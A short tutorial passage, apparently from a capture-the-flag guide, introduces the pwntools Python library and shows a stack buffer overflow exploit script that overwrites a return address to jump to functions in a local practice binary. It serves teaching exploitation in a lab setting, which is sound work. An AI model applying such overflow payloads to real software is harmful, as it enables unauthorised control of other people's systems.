Pwntools

7. Using Pwntools to make life easy

Pwntools is a Python library for CTF-style Binary Exploitation. It helps with: - Packing/unpacking integers (addresses) in little-endian - Spawning processes or remote connections - Sending/receiving data - Automating exploit steps Example of the same exploit in pwntools-style:

from pwn import *

# Adjust context (arch, OS)
context.binary = "./vuln"
elf = context.binary

# Addresses from analysis:
offset = 40
reachMe = elf.symbols["reachMe"]    # nice shortcut if symbols present
what    = elf.symbols["what"]       # newline/flush function

p = process(elf.path)

payload  = b"A" * offset
payload += p64(reachMe)
payload += p64(what)

p.sendline(payload)
print(p.recvall().decode(errors="ignore"))

p64() packs a 64-bit address into the right little-endian bytes.